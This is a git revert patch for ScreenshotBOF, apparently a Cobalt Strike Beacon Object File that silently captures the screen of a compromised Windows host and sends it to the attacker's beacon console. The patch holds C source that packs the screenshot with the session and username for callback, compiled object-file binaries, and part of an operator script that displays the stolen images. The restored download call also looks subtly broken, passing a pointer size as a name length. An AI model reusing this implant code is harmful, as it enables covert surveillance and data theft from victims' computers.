From 9de5381c0aa2df1e01f1648e5ffe8586b0b9db2d Mon Sep 17 00:00:00 2001 From: CodeX Date: Tue, 1 Nov 2022 18:32:38 +0800 Subject: [PATCH] Revert "Callback screenshot" --- ScreenshotBOF/Source.cpp | 116 +++------------------ ScreenshotBOF/beacon.h | 1 - ScreenshotBOF/bofdefs.h | 9 -- bin/BOF/ScreenshotBOF.x64.obj | Bin 9044 -> 6978 bytes bin/BOF/ScreenshotBOF.x86.obj | Bin 7004 -> 5422 bytes bin/BOF/screenshotBOF.cna | 186 ++-------------------------------- bin/screenshotBOF.zip | Bin 0 -> 6093 bytes 7 files changed, 23 insertions(+), 289 deletions(-) mode change 100755 => 100644 bin/BOF/ScreenshotBOF.x64.obj mode change 100755 => 100644 bin/BOF/ScreenshotBOF.x86.obj create mode 100644 bin/screenshotBOF.zip diff --git a/ScreenshotBOF/Source.cpp b/ScreenshotBOF/Source.cpp index f42928a..ad212e0 100644 --- a/ScreenshotBOF/Source.cpp +++ b/ScreenshotBOF/Source.cpp @@ -5,80 +5,8 @@ #pragma comment(lib, "User32.lib") #pragma comment(lib, "Gdi32.lib") -/*Download Screenshot*/ -void downloadScreenshot(char* jpg, int jpgLen, int session, char* windowTitle, int titleLen, char* username, int usernameLen) { -// Function modified by @BinaryFaultline - -// This data helped me figure out the C code to download a screenshot. It was found in the BOF.NET code here: https://github.com/CCob/BOF.NET/blob/2da573a4a2a760b00e66cd051043aebb2cfd3182/managed/BOFNET/BeaconObject.cs -// Special thanks to CCob doing the research around the BeaconOutput options, making this much easier for me. - -// private void WriteSessionUserNameTitle(BinaryWriter bw, int session, string userName, string title) { -// bw.Write(session); -// bw.Write(title.Length); -// bw.Write(Encoding.UTF8.GetBytes(title)); -// bw.Write(userName.Length); -// bw.Write(Encoding.UTF8.GetBytes(userName)); -// } - -// var screenshotCallback = new BinaryWriter(new MemoryStream()); -// screenshotCallback.Write(jpgData.Length); -// screenshotCallback.Write(jpgData); -// WriteSessionUserNameTitle(screenshotCallback, session, userName, title); - int messageLength = 4 + jpgLen + 4 + 4 + titleLen + 4 + usernameLen; - char* packedData = (char*)MSVCRT$malloc(messageLength); - - // //pack on jpgLen/fileSize as 4-byte int second - packedData[0] = jpgLen & 0xFF; - packedData[1] = (jpgLen >> 8) & 0xFF; - packedData[2] = (jpgLen >> 16) & 0xFF; - packedData[3] = (jpgLen >> 24) & 0xFF; - - int packedIndex = 4; - - // //pack on the bytes of jpg/returnData - for (int i = 0; i < jpgLen; i++) { - packedData[packedIndex] = jpg[i]; - packedIndex++; - } - - //pack on session as 4-byte int first - packedData[packedIndex] = session & 0xFF; - packedData[packedIndex + 1] = (session >> 8) & 0xFF; - packedData[packedIndex + 2] = (session >> 16) & 0xFF; - packedData[packedIndex + 3] = (session >> 24) & 0xFF; - - //pack on titleLength as 4-byte int second - packedData[packedIndex + 4] = titleLen & 0xFF; - packedData[packedIndex + 5] = (titleLen >> 8) & 0xFF; - packedData[packedIndex + 6] = (titleLen >> 16) & 0xFF; - packedData[packedIndex + 7] = (titleLen >> 24) & 0xFF; - - packedIndex += 8; - - //pack on the bytes of title - for (int i = 0; i < titleLen; i++) { - packedData[packedIndex] = windowTitle[i]; - packedIndex++; - } - - //pack on userLength as 4-byte int second - packedData[packedIndex] = usernameLen & 0xFF; - packedData[packedIndex + 1] = (usernameLen >> 8) & 0xFF; - packedData[packedIndex + 2] = (usernameLen >> 16) & 0xFF; - packedData[packedIndex + 3] = (usernameLen >> 24) & 0xFF; - - packedIndex += 4; - - //pack on the bytes of user - for (int i = 0; i < usernameLen; i++) { - packedData[packedIndex] = username[i]; - packedIndex++; - } - - BeaconOutput(CALLBACK_SCREENSHOT, packedData, messageLength); - return; -} - +char downloadfilename[] = "screenshot.bmp"; +/*Download File*/ void downloadFile(char* fileName, int downloadFileNameLength, char* returnData, int fileSize) { //Intializes random number generator to create fileId @@ -224,7 +152,7 @@ BOOL _print_error(char* func, int line, char* msg, HRESULT hr) { #pragma endregion -BOOL SaveHBITMAPToFile(HBITMAP hBitmap, int getOnlyProfile) +BOOL SaveHBITMAPToFile(HBITMAP hBitmap, LPCTSTR lpszFileName) { HDC hDC; int iBits; @@ -299,30 +227,7 @@ BOOL SaveHBITMAPToFile(HBITMAP hBitmap, int getOnlyProfile) memcpy(((char*)bmpdata) + sizeof(BITMAPFILEHEADER), lpbi, dwDIBSize); - // The CALLBACK_SCREENSHOT takes sessionId, title (window title in default CS screenshot fork&run), username, so we need to populate those - // Since the original author didn't do any window enumeration, I am not going through the effort of doing that enumeration, instead it's hardcoded - DWORD session = -1; - KERNEL32$ProcessIdToSessionId(KERNEL32$GetCurrentProcessId(), &session); - char* user; - user = (char*)getenv("USERNAME"); - char title[] = "Right-click this and \"Render BMP\" to view"; - char fileName[] = "ScreenshotBOF - Downloaded BMP.bmp"; - - int userLength = MSVCRT$_snprintf(NULL,0,"%s",user); - int titleLength = MSVCRT$_snprintf(NULL,0,"%s",title); - int fileNameLength = MSVCRT$_snprintf(NULL,0,"%s",fileName); - - - // If the profile is get-only (termination in post client is URI based), download it as a screenshot, otherwise, download it as a file - - if (getOnlyProfile > 0){ - BeaconPrintf(0x0, "[+] URI post profile detected. Saving bitmap screenshot to Screenshots tab. Note, this takes a little while..."); - downloadScreenshot((char *)bmpdata, sizeof(BITMAPFILEHEADER) + dwDIBSize, session,(char*)title, titleLength, (char*)user, userLength); - } else { - BeaconPrintf(0x0, "[+] Post body profile detected. Saving bitmap screenshot to Downloads tab..."); - downloadFile((char*)fileName, fileNameLength, (char *)bmpdata, sizeof(BITMAPFILEHEADER) + dwDIBSize); - } - //downloadScreenshot((char *)bmp_bmp, bmp_bmp_len, session,(char*)title, titleLength, (char*)user, userLength); + downloadFile((char*)lpszFileName, sizeof(lpszFileName), (char*)bmpdata, (int)(sizeof(BITMAPFILEHEADER) + dwDIBSize)); //WriteFile(fh, (LPSTR)bmpdata, sizeof(BITMAPFILEHEADER)+ dwDIBSize, &dwWritten, NULL); /* clean up */ @@ -335,9 +240,10 @@ BOOL SaveHBITMAPToFile(HBITMAP hBitmap, int getOnlyProfile) #ifdef BOF void go(char* buff, int len) { datap parser; - int getOnlyProfile; + char * downloadfilename; BeaconDataParse(&parser, buff, len); - getOnlyProfile = BeaconDataInt(&parser); + downloadfilename = BeaconDataExtract(&parser, NULL); + BeaconPrintf(0x0, "[*] Tasked beacon to printscreen and save to %s",downloadfilename); int x1, y1, x2, y2, w, h; // get screen dimensions x1 = GetSystemMetrics(SM_XVIRTUALSCREEN); @@ -364,9 +270,11 @@ void go(char* buff, int len) { CloseClipboard(); */ - - SaveHBITMAPToFile(hBitmap, getOnlyProfile); - BeaconPrintf(0x0, "[+] Screenshot downloaded..."); + BeaconPrintf(0x0, "[+] PrintScreen saved to bitmap..."); + LPCSTR filename = (LPCSTR)downloadfilename; + SaveHBITMAPToFile(hBitmap, (LPCTSTR)filename); + + //BeaconPrintf(0x0, "[+] Printscreen bitmap saved to %s",downloadfilename); // clean up SelectObject(hDC, old_obj); DeleteDC(hDC); diff --git a/ScreenshotBOF/beacon.h b/ScreenshotBOF/beacon.h index d49833e..bfcf21f 100644 --- a/ScreenshotBOF/beacon.h +++ b/ScreenshotBOF/beacon.h @@ -47,7 +47,6 @@ DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); #define CALLBACK_FILE 0x02 #define CALLBACK_FILE_WRITE 0x08 #define CALLBACK_FILE_CLOSE 0x09 -#define CALLBACK_SCREENSHOT 0x03 DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...); DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); diff --git a/ScreenshotBOF/bofdefs.h b/ScreenshotBOF/bofdefs.h index c55419b..c0517b7 100644 --- a/ScreenshotBOF/bofdefs.h +++ b/ScreenshotBOF/bofdefs.h @@ -231,10 +231,6 @@ DECLSPEC_IMPORT BOOL WINAPI KERNEL32$IsProcessorFeaturePresent(DWORD ProcessorFe DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$GetUserNameW(LPWSTR lpBuffer, LPDWORD pcbBuffer); -DECLSPEC_IMPORT char* WINAPI MSVCRT$getenv(const char *varname); -DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetCurrentProcessId(); -DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ProcessIdToSessionId(DWORD dwProcessId, DWORD *pSessionId); - @@ -362,11 +358,6 @@ DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ProcessIdToSessionId(DWORD dwProcessId, DW #define GetUserNameW ADVAPI32$GetUserNameW #define IsProcessorFeaturePresent KERNEL32$IsProcessorFeaturePresent - -#define getenv MSVCRT$getenv -#define GetCurrentProcessId KERNEL32$GetCurrentProcessId -#define ProcessIdToSession KERNEL32$ProcessIdToSessionId - #else #endif diff --git a/bin/BOF/ScreenshotBOF.x64.obj b/bin/BOF/ScreenshotBOF.x64.obj old mode 100755 new mode 100644 index f9c60124f810224b8f4f2273c0ab7c15a2c27263..c069e07a4389a49ec1d43c419cd8a8e54de6434d GIT binary patch literal 6978 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 diff --git a/bin/BOF/ScreenshotBOF.x86.obj b/bin/BOF/ScreenshotBOF.x86.obj old mode 100755 new mode 100644 index d458c959da9982a82ab28c5dc82fa5860214c917..8b2d2fe5365cd4cd80c3616bd9cda544c655312b GIT binary patch literal 5422 zcmds5ZERE589u=w7zjz&+(JJwEVL=vmKz7 zQb3-z+};IsQq`?fC+$b8^#@bY$|xXy#A&vqQ#J*bX{nY?2BlM2{3B9RHLaqt=bUq| zzbG2hX8bvnqfyYUoi&$qFK-Bh%0B} zl|8-22&$EkO%_7lTPv7)G0;eIi^JGYVR|}{*KUnd6?BCwH1ug;&B~nkf?8qy}+gao5xr%swlm&laaWi zy{C^4Hk?UER4#Mi<-O$a#=S?rIRP^WP)hY!eLEL zL$U<*IpEpWFf7c~oG7r`3QtsNN|UG1ZP7a?JO(?7?#p@zvI8(H3`?02!c6Vc6CX|R z_`Ntp-_fnoo2(;JX(DM=r5jpKXp5PWGs$Zg3bYpz)(hFP|}IaY}|#^?l+6B(nksLA|lO`1(4i&SYA%dl529e50C7CM2= zWszoITR&K#(TT)xkxD1#r!?sX!oAcQULnGTJ$HVlk`Gqv>g)MJgV~<~a$-7(} zql;{oF*?myti)c~Rz7q?s8-X(y>z<#!YycM(sUwOtV&lk`D$iEBkBwHjrzg^qrM=5 zoBXOU>bf8=B8WO@>lhs`<|ZtvQVIc)Q;CrxRZd}}S?Kg`nnFyZ1&cJU$rTnk_1cQT zB260SK^vdH$qdFg-moT7!`Z5(MefvPO}?D#RQkS7r61^2`aw?VfQ4X zQ!~t|8Sd1KMrZa?8}le_kw&>kGs2@$?$Ib#8P;kvo$HY%En1{$Ra(4T|DSvJ?taYt zlWmESVpYDR(My?}gB6?8q~-ig+%*E_IlfhKf-16GHF=v0ir4UX}QD=d@0hF3(pd2Ih*-uD!;>->FK=^N)hCo?UyL zWt2`;UY=ilbt8v#c}RNiaCoC8TlKNV=(#G0GTtNx@EtF-Y26;Y{;uJl78&Y4rwyb(dpBHeC`}~>rbxWXcz>{n!R#q4kr5}A zB3l|kV!||p3wWmuxzE>=E}<1*v5p{8zmmiVc3sh zhuVsEs`4VTkxEDEK1SUCPqPPjch|a&Y7W`X)z5fu7|k0#wb>ApZ9= zpG(N6K!ST4|M3NP9Y}D!I30rf8Ia%(t~9tS88i#DmXDVP64rmKgpg9s?FHJz(Lo?P zM@KT~B#`jvGSFr&-L;C4EgZRk*qW4(7lA4{>H!kbJqNUvb3;H+ar9fDr#TwWNN;7N z{{#|IdmIN{cvK6tjrTa1K|!GBz}ZM2P!*TH0`v?=-#&5W*MD35U3KXvOMfkYqq+8E z%bFiI9NTz$`>M?k-+21s{F6WW{4X0G+4d2Xd2t3KJ$;T)$A>>yS#%Hoh%Cg}sRZJV znwp;ya!xS0_d+Zbu@ois-q|MiPKbqr&U99&qul!-77{w_M##$StN$Jqh}Bq7UYO1b zl6yO35=#-gAF{Ie_g}D$gi`6-zq_`62Rj(Nw?${_cd;GLdkJRu_FeWurkSHvI?%IEW6+3uB)wViXxpT zO~^8Vc&NQw`QI9i{1)!qUTX|52J$K0_&U|n9!Bk~&zGS~V|UzHw=-!qrJM={m8L*ntZ+yO#dzqKap}9X^$_(SJo~#N z?Sbxw?(Rr1+p$3Ei3Ga}!^##T4*ve8idcCAa6hi(Oe-8|RRZ0iR}@2B;3jj%jey3S zwVB`)7$jpC=9*L>ZpPP}ti6)&d3+_S>`{7xeJ>m9V~_#ncmWxU;(Lv$KPPJnRO2BW zf*sj|(Ts!PbRKOuf@5)@=794U+2`jUg8WJ}8i_K|0WLboL_T~HI?(8DlN!8j5u+>Q PvQGN_PN%og1=aroz!qKK literal 7004 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 diff --git a/bin/BOF/screenshotBOF.cna b/bin/BOF/screenshotBOF.cna index 0e1f137..bb9bbbc 100644 --- a/bin/BOF/screenshotBOF.cna +++ b/bin/BOF/screenshotBOF.cna @@ -1,166 +1,3 @@ -import javax.imageio.ImageIO; -import java.awt.*; -import javax.swing.JLabel; -import javax.swing.ImageIcon; -import java.io.ByteArrayInputStream; - -# This function takes in a screenshot and creates a JLabel to display the screenshot -sub display_image { - local('$screenshot $screenshot_bytes $bid $user $computer $client $MAX_IMAGE_WIDTH $MAX_IMAGE_HEIGHT $bias $image $width $height $icon $scaledIcon $component $tab_name'); - $screenshot = $1; - $screenshot_bytes = $screenshot['data']; - $bid = $screenshot['bid']; - $user = $screenshot['user']; - $computer = beacon_info($bid, 'computer'); - - $client = getAggressorClient(); - $MAX_IMAGE_WIDTH = [[[$client getTabManager] getTabbedPane] getWidth]; - $MAX_IMAGE_HEIGHT = [[[$client getTabManager] getTabbedPane] getHeight]; - - $bais = [new ByteArrayInputStream: $screenshot_bytes]; - $image = [ImageIO read: $bais]; - - $width = [$image getWidth]; - $height = [$image getHeight]; - - $icon = [new ImageIcon: $image]; - if ($width > $MAX_IMAGE_WIDTH) { - $width = $MAX_IMAGE_WIDTH; - } - if ($height > $MAX_IMAGE_HEIGHT) { - $height = $MAX_IMAGE_HEIGHT; - } - $scaledIcon = [new ImageIcon: [$image getScaledInstance: $width, $height, 4]]; - - $component = [new JLabel: $scaledIcon]; - $tab_name = "ScreenshotBOF - $user\@$computer"; - addTab($tab_name, $component, "..."); - -} - -# This function takes in a screenshot and creates a JLabel to display the screenshot -sub display_downloaded { - local('$screenshot $screenshot_bytes $bid $user $computer $client $MAX_IMAGE_WIDTH $MAX_IMAGE_HEIGHT $bias $image $width $height $icon $scaledIcon $component $tab_name'); - - $screenshot_bytes = $1; - $file_name = $2; - - $client = getAggressorClient(); - $MAX_IMAGE_WIDTH = [[[$client getTabManager] getTabbedPane] getWidth]; - $MAX_IMAGE_HEIGHT = [[[$client getTabManager] getTabbedPane] getHeight]; - - $bais = [new ByteArrayInputStream: $screenshot_bytes]; - $image = [ImageIO read: $bais]; - - $width = [$image getWidth]; - $height = [$image getHeight]; - - $icon = [new ImageIcon: $image]; - if ($width > $MAX_IMAGE_WIDTH) { - $width = $MAX_IMAGE_WIDTH; - } - if ($height > $MAX_IMAGE_HEIGHT) { - $height = $MAX_IMAGE_HEIGHT; - } - $scaledIcon = [new ImageIcon: [$image getScaledInstance: $width, $height, 4]]; - - $component = [new JLabel: $scaledIcon]; - $tab_name = "ScreenshotBOF - $file_name"; - addTab($tab_name, $component, "..."); - -} - -# Checks the screenshot when it comes in to see if it is a BMP, then if so, renders it in a new tab -on screenshots { - local('$screenshot $data'); - - $screenshot = $1; - $data = $screenshot['data']; - - # Check the magic header of the data to see if it's a BMP - if (charAt($data, 0) eq "B" && 